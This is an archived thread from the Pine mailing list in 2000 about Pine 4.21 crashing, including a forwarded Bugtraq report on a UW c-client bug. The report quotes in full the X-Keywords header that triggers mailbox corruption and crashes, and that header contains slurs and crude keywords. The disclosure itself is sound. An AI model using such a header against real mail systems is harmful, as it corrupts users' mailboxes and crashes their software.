From pinedev@shiva0.cac.washington.edu Fri Sep  1 15:24:14 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 15:24:14 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA02144;
	Fri, 1 Sep 2000 15:24:12 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA03211;
	Fri, 1 Sep 2000 15:24:12 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA19251;
	Fri, 1 Sep 2000 15:23:38 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA127042
	for <pine-info@lists.u.washington.edu>; Fri, 1 Sep 2000 15:21:53 -0700
Received: from chia.umiacs.umd.edu (chia.umiacs.umd.edu [128.8.120.111])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA13103
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 15:21:52 -0700
Received: from localhost (adam@localhost)
	by chia.umiacs.umd.edu (8.9.3/8.9.1) with ESMTP id SAA28039
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 18:21:50 -0400 (EDT)
Message-Id: <Pine.GSO.4.21.0009011820500.28029-100000@chia.umiacs.umd.edu>
Date: Fri, 1 Sep 2000 18:21:50 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: adam@cfar.umd.edu
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: pine 4.21 crashes.
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: chia.umiacs.umd.edu: adam owned process doing -bs
X-Sender: adam@chia.umiacs.umd.edu
X-WEB: http://www.eax.com
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


anything known? My pine started to crash quite frequently recently.
Always the same error message, like this:

Problem detected: "header size inconsistant".
Pine Exiting.
Abort (core dumped)
You have mail in /var/mail/adam
adam@chia:~ 06:19pm>

-- 
Adam
http://www.eax.com	The Supreme Headquarters of the 32 bit registers

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Fri Sep  1 15:37:28 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 15:37:28 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA13787;
	Fri, 1 Sep 2000 15:37:27 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA03594;
	Fri, 1 Sep 2000 15:37:26 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA19790;
	Fri, 1 Sep 2000 15:36:58 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA126984
	for <pine-info@lists.u.washington.edu>; Fri, 1 Sep 2000 15:36:30 -0700
Received: from ns.shellworld.net (IDENT:root@ns.shellworld.net [64.29.16.176])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02976
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 15:36:29 -0700
Received: from localhost (ka3agm@localhost)
	by ns.shellworld.net (8.9.3/8.9.3) with ESMTP id SAA20828
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 18:36:24 -0400
Message-Id: <Pine.LNX.4.21.0009011833550.20693-100000@ns.shellworld.net>
Date: Fri, 1 Sep 2000 18:36:24 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Walt Smith <ka3agm@ns.shellworld.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: PC-Pine question
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On another list, I saw the statement made that PC-Pine works only with
IMAP servers and that if your remote mail server is a POP3, it probably
won't function.  I haven't yet tried PC-Pine, but my Unix copy of Version
4.21 accesses POP3 servers just fine, thank you very much.  Should I
expect the same performance from PC-Pine if I structure the server address
the same way as I do in Unix Pine?

-- 
Walt Smith - Raleigh, NC
ka3agm@ns.shellworld.net

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Fri Sep  1 20:06:11 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 20:06:10 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA22045;
	Fri, 1 Sep 2000 20:06:09 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA09213;
	Fri, 1 Sep 2000 20:06:08 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA06780;
	Fri, 1 Sep 2000 20:05:30 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA61758
	for <pine-info@lists.u.washington.edu>; Fri, 1 Sep 2000 20:04:33 -0700
Received: from legolas.mdh.se (cel95eig@legolas.mdh.se [130.243.77.20])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA00912
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 20:04:32 -0700
Received: by legolas.mdh.se (8.9.3/8.9.3) id FAA13696;
	Sat, 2 Sep 2000 05:04:27 +0200 (MET DST)
Message-Id: <Pine.GSO.4.21L.0009020501080.13259-100000@legolas.mdh.se>
Date: Sat, 2 Sep 2000 05:04:26 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Emil Isberg <emil.isberg@mds.mdh.se>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: UW c-client library vulnerability (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Sender: cel95eig@mds.mdh.se
X-To: adam@cfar.umd.edu, Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

This was recently sent to Bugtraq list...
It contained the same X-Keywords: header that he describes...

You have to edit your mailbox with another mailer or an editor (pico
doesn't use the c-client) to remove that header from any mail in the
mailbox...

---------- Forwarded message ----------
Date: Fri, 1 Sep 2000 19:53:22 +0300
From: Juhapekka Tolvanen <juhtolv@ST.JYU.FI>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: UW c-client library vulnerability

It seems, that c-client libraries by University of Washington have
some bug(s), that makes some programs that depend upon those libraries
go crazy. AFAIK affected programs include at least Pine (read "pain"),
ipop3d and IMAPD. And those programs and libraries are commonly used in
Unixes. I don't know, if any patch, fix, work-around etc. exist.

 * * *

Problem was caused by my X-Keywords-header, that serves as so called spook =
line
(Hello, NSA! :-) ):

X-Keywords: kettutyt=F6t, Sanna Sillanp=E4=E4, IKL, Jammu Siltavuori, ryss=
=E4, somali,
lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb, nuclear, Semte=
x,
satan, traitor, pedophile

I shortened it to this:

 X-Keywords: lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb,
nuclear, Semtex, satan, traitor, pedophile

And then problems disappeared. I use a character set called ISO-LATIN-1. An=
d my
original X-Keywords: -header had some scandinavic characters ("umlaut o"
aka "o with dots" and "umlaut a" aka "a with dots" ) in words
"kettutyt=F6t" and "ryss=E4".

Here are some problem reports from mailing-lists of Debian:

 Date: Wed, 30 Aug 2000 23:52:12 +0200
 From: Cristian Ionescu-Idbohrn <cii@axis.com>
 To: bugs@bugs.debian.org
 CC: juhtolv@st.jyu.fi, debian-devel@lists.debian.org,
        debian-legal@lists.debian.org
 Subject: imap mailbox killer

(Clip)

I don't know if it was your intension, but you managed to totally screw
up my inbox (no hard feelings)!

The IMAP daemon went crazy trying to make sense of that box and put it's
holy counts on the

  "Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA".

Is this a security hole?^X

 Date: Wed, 30 Aug 2000 15:31:12 -0700 (MST)
 To: Cristian Ionescu-Idbohrn <cii@axis.com>
 cc: juhtolv@st.jyu.fi

(Clip)

I've been fighting this problem all day too.  Pine blows up when you try
to save the INBOX back out with any changes.  (I'm using fetchmail and
plain vanilla mail spool files.)  It was driving me nuts.  Thanks for
posting.  (I saved a copy of my mailbox and will pick through it with a
fine-tooth comb later.)

(Clip)

 Date: Thu, 31 Aug 2000 10:22:48 +0200 (CEST)
 From: Cristian Ionescu-Idbohrn <cii@axis.com>
 To: Juhapekka Tolvanen <juhtolv@st.jyu.fi>
 cc: debian-devel@lists.debian.org

(Clip)

Looks like all boxes get an extra message inserted. It looks something
like this:

,-----
| From MAILER-DAEMON  Wed Aug 30 09:54:25 2000
| Delivery-Date: Thu May 11 21:51:47 2000
| Date: Thu, 11 May 2000 21:51:47 +0200 (MET DST)
| From: Mail System Internal Data <MAILER-DAEMON@host.com>
| Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
| X-IMAP: 0928135936 0000033614
| Status: RO
| X-Status:
| X-Keywords:
| X-UID: 2
|
| This text is part of the internal format of your mail folder, and is not
| a real message.  It is created automatically by the mail system software.
| If deleted, important folder data will be lost, and it will be re-created
| with the data reset to initial values.
`-----

I don't know if it's the IMAP daemon or the pine client who is responsible
for this.

One (or several) of Juhapekka message header entries, probably this:

,-----
| X-Keywords:
+=3D?iso-8859-1?Q?kettutyt=3DF6t=3D2C_Sanna_Sillanp=3DE4=3DE4=3D2C_IKL=3D2C=
_Jammu_Silta?=3D
|  =3D?iso-8859-1?Q?vuori=3D2C_ryss=3DE4=3D2C_somali=3D2C_lesbo=3D2C_homo=
=3D2C_lesbian=3D2C?=3D
|  =3D?iso-8859-1?Q?_anarchism=3D2C_nazi=3D2C_communism=3D2C_CIA=3D2C_bomb=
=3D2C_nuclear?=3D
|  =3D?iso-8859-1?Q?=3D2C_Semtex=3D2C_satan=3D2C_traitor=3D2C_pedophile?=3D
`-----

caused the daemon (or the client) screw up the "magic". I ended up with a
"magic" message looking like this:


,-----
| From MAILER-DAEMON Wed Aug 30 16:36:48 2000
| Date: 30 Aug 2000 16:36:48 +0200
| From: Mail System Internal Data <MAILER-DAEMON@host.com>
| Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
| Message-ID: <967646208@host.com>
| X-IMAP: 0967646162 0000000339
+=3D?iso-8859-1?Q?kettutyt=3DF6t=3D2C_Sanna_Sillanp=3DE4=3DE4=3D2C_IKL=3D2C=
_Jammu_Silta?=3D
| Status: RO
|
| This text is part of the internal format of your mail folder, and is not
| a real message.  It is created automatically by the mail system software.
| If deleted, important folder data will be lost, and it will be re-created
| with the data reset to initial values.
`-----

and a lot of NULL characters preceeding a few (5-6) of the messages in some
boxes.

Hope this helps to find the problem.
There's definitely a BUG lurking somewhere.

(Clip)

 Date: Thu, 31 Aug 2000 12:34:14 -0400 (EDT)
 From: "Jaldhar H. Vyas" <jaldhar@debian.org>
 Reply-To: "Jaldhar H. Vyas" <jaldhar@debian.org>
 To: Richard A Nelson <cowboy@debian.org>
 cc: Juhapekka Tolvanen <juhtolv@st.jyu.fi>,
        Cristian Ionescu-Idbohrn <cii@axis.com>, debian-devel@lists.debian.=
org,
        70647@bugs.debian.org

(Clip)

> > There might be bug in either Pine or IMAP(D) or both.
>
> Both... I had to manually delete several messages in Pine 4.21 folders
> and I don't use IMAP
>

Pine also uses libc-client which is where the bug is.

(Clip)

 Date: Thu, 31 Aug 2000 12:31:03 -0400 (EDT)
 From: "Jaldhar H. Vyas" <jaldhar@debian.org>
 To: Buddha Buck <bmbuck@14850.com>
 cc: Richard A Nelson <cowboy@debian.org>
        Juhapekka Tolvanen <juhtolv@st.jyu.fi>,
        Cristian Ionescu-Idbohrn <cii@axis.com>, 70647@bugs.debian.org,
        debian-devel@lists.debian.org

(Clip)

> My school uses imap, but I didn't -directly- invoke it in this process.  =
It
> may have been invoked by their mailer behind the scenes, though.
>

Not necessarily.  However ipop3d and imapd both use the c-client library
for all the mail handling routines.  That's where the bug is so both would
have been affected.

(Clip)

--
Juhapekka "naula" Tolvanen * * * U of Jyv=E4skyl=E4 * * juhtolv@st.jyu.fi
http://www.cc.jyu.fi/~juhtolv/index.html * "STRAIGHT BUT NOT NARROW!"
---------------------------------------------------------------------
"so impressed with all you do. tried so hard to be like you. flew too
high and burnt the wing. lost my faith in everything" nine inch nails


From pinedev@shiva0.cac.washington.edu Fri Sep  1 21:39:28 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 21:39:27 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA21654;
	Fri, 1 Sep 2000 21:39:26 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA05628;
	Fri, 1 Sep 2000 21:39:26 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA06067;
	Fri, 1 Sep 2000 21:38:56 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA42346
	for <pine-info@lists.u.washington.edu>; Fri, 1 Sep 2000 21:38:21 -0700
Received: from jim.southcom.com.au (IDENT:root@jim.southcom.com.au [203.31.83.230])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA05626
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 21:38:17 -0700
Received: from localhost (jim@localhost)
	by jim.southcom.com.au (8.11.0/8.11.0) with ESMTP id e824aTg23881
	for <pine-info@u.washington.edu>; Sat, 2 Sep 2000 14:36:29 +1000
Message-Id: <Pine.LNX.4.21.0009021433230.23866-100000@jim.southcom.com.au>
Date: Sat, 2 Sep 2000 14:36:28 +1000 (EST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Jim Woodward <jim@jim.southcom.com.au>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine 4.21 crashes.
In-Reply-To: <Pine.GSO.4.21.0009011820500.28029-100000@chia.umiacs.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Fri, 1 Sep 2000 adam@cfar.umd.edu wrote:

> 
> anything known? My pine started to crash quite frequently recently.
> Always the same error message, like this:
> 
> Problem detected: "header size inconsistant".
> Pine Exiting.
> Abort (core dumped)
> You have mail in /var/mail/adam
> adam@chia:~ 06:19pm>


I just got exactly the same error:

          [Closing folder "BUGTRAQ-List". Keeping all 1,616 messages.]


Problem detected: "header size inconsistant".
Pine Exiting.
Aborted (core dumped)
[14:23:55] jim@jim:~$ 


This is the first time I have seen this, even if there was a header size
problem should it terminante with a core dump?


I am running pine 4.21 on i386 Linux with glibc2, compiled with:
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)

Anyone have any clues?


-
name  : Jim Woodward 
www   : http://www.jim.southcom.com.au
email : jim@jim.southcom.com.au


From pinedev@shiva0.cac.washington.edu Fri Sep  1 21:53:47 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 21:53:47 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA17122;
	Fri, 1 Sep 2000 21:53:45 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA11016;
	Fri, 1 Sep 2000 21:53:45 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA06321;
	Fri, 1 Sep 2000 21:53:20 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA31798
	for <pine-info@lists.u.washington.edu>; Fri, 1 Sep 2000 21:52:51 -0700
Received: from chia.umiacs.umd.edu (chia.umiacs.umd.edu [128.8.120.111])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA07856
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 21:52:51 -0700
Received: from localhost (adam@localhost)
	by chia.umiacs.umd.edu (8.9.3/8.9.1) with SMTP id AAA29071;
	Sat, 2 Sep 2000 00:52:40 -0400 (EDT)
Message-Id: <Pine.SOL.3.95.1000902005132.28147E-100000@chia.umiacs.umd.edu>
Date: Sat, 2 Sep 2000 00:52:39 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: adam@cfar.umd.edu
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: pine 4.21 crashes.
In-Reply-To: <Pine.LNX.4.21.0009021433230.23866-100000@jim.southcom.com.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Jim Woodward <jim@jim.southcom.com.au>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: chia.umiacs.umd.edu: adam owned process doing -bs
X-Sender: adam@chia.umiacs.umd.edu
X-WEB: http://www.eax.com
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


more datapoints:
	- switched back to pine 3.95 and it does not crash anymore.
	- I looked for X-Keyword: as someone else suggested but 
	  all I have noticed so far seemed to be empty ones, and thus
	  probably not cause of crash.


> > anything known? My pine started to crash quite frequently recently.
> > Always the same error message, like this:
> > 
> > Problem detected: "header size inconsistant".
> > Pine Exiting.
> > Abort (core dumped)
> > You have mail in /var/mail/adam
> > adam@chia:~ 06:19pm>
> 
> 
> I just got exactly the same error:
> I am running pine 4.21 on i386 Linux with glibc2, compiled with:

-- 
Adam
http://www.eax.com	The Supreme Headquarters of the 32 bit registers


From pinedev@shiva0.cac.washington.edu Fri Sep  1 23:47:29 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 23:47:28 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA19369;
	Fri, 1 Sep 2000 23:47:27 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA07731;
	Fri, 1 Sep 2000 23:47:26 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA08867;
	Fri, 1 Sep 2000 23:46:05 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA29870
	for <pine-info@lists.u.washington.edu>; Fri, 1 Sep 2000 23:45:17 -0700
Received: from lcjdap.soroscj.ro (IDENT:qmailr@lcjdap.soroscj.ro [193.226.84.253])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id XAA10721
	for <pine-info@u.washington.edu>; Fri, 1 Sep 2000 23:45:14 -0700
Received: (qmail 15892 invoked by uid 559); 2 Sep 2000 07:03:04 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 2 Sep 2000 07:03:04 -0000
Message-Id: <Pine.LNX.4.21L2.0009021002160.15890-100000@lcjdap.soroscj.ro>
Date: Sat, 2 Sep 2000 10:03:04 +0300 (EEST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Seby <seby@lcjdap.soroscj.ro>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: pine 4.21 crashes.
In-Reply-To: <Pine.GSO.4.21.0009011820500.28029-100000@chia.umiacs.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


Problem detected: "header size inconsistant".
Pine Exiting.
Aborted (core dumped)
	Can it be fixed.. and why does it crash?
Seby...

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sat Sep  2 02:07:58 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 2 Sep 2000 02:07:57 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA08065;
	Sat, 2 Sep 2000 02:07:56 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA15383;
	Sat, 2 Sep 2000 02:07:56 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA09102;
	Sat, 2 Sep 2000 02:07:25 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA154742
	for <pine-info@lists.u.washington.edu>; Sat, 2 Sep 2000 02:06:39 -0700
Received: from caveman.geac.com.au (caveman.geac.com.au [203.30.73.2])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id CAA32267
	for <pine-info@u.washington.edu>; Sat, 2 Sep 2000 02:06:36 -0700
Received: (qmail 16533 invoked from network); 2 Sep 2000 20:10:30 +1000
Received: from trowel.geac.com.au (134.128.219.30)
  by caveman.geac.com.au with SMTP; 2 Sep 2000 20:10:30 +1000
Received: (qmail 19225 invoked from network); 2 Sep 2000 21:09:26 +1100
Received: from fgh.geac.com.au (134.128.222.46)
  by trowel.geac.com.au with SMTP; 2 Sep 2000 21:09:26 +1100
Received: from localhost (dave@localhost) 
    by fgh.geac.com.au with ESMTP id UAA29020; Sat, 2 Sep 2000 20:06:15 +1000 (EST)
Message-Id: <Pine.GSO.4.21.0009022000370.29008-100000@fgh.geac.com.au>
Date: Sat, 2 Sep 2000 20:06:14 +1000 (EST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Dave Horsfall <dave@fgh.geac.com.au>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: header size inconsistant (sic)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion List <pine-info@u.washington.edu>,
        pine-bugs@cac.washington.edu
X-Authentication-Warning: fgh.geac.com.au: dave owned process doing -bs
X-No-Archive: Yes
X-Witty-Saying: "Tesseract - Enter at own risk"
X-Disclaimer: "Me, speak for us?"
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

First, it's "inconsistent," not "inconsistant."

Anyway, this has to be the most useless error message ever.  All of a
sudden, PINE (4.21, self-compiled on Solaris 2.6) is core-dumping with
this message as its last gasp.

Now where, exactly, is the problem in my mailbox?

-- 
Dave Horsfall CL VK2KFU  dave@geac.com.au  Ph: +61 2 9978-7493  Fx: * 9978-7422
Geac Computers P/L (FGH Division) 2/57 Christie St, St Leonards 2065, Australia

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sat Sep  2 03:39:51 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 2 Sep 2000 03:39:51 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA21502;
	Sat, 2 Sep 2000 03:39:49 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA11603;
	Sat, 2 Sep 2000 03:39:49 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
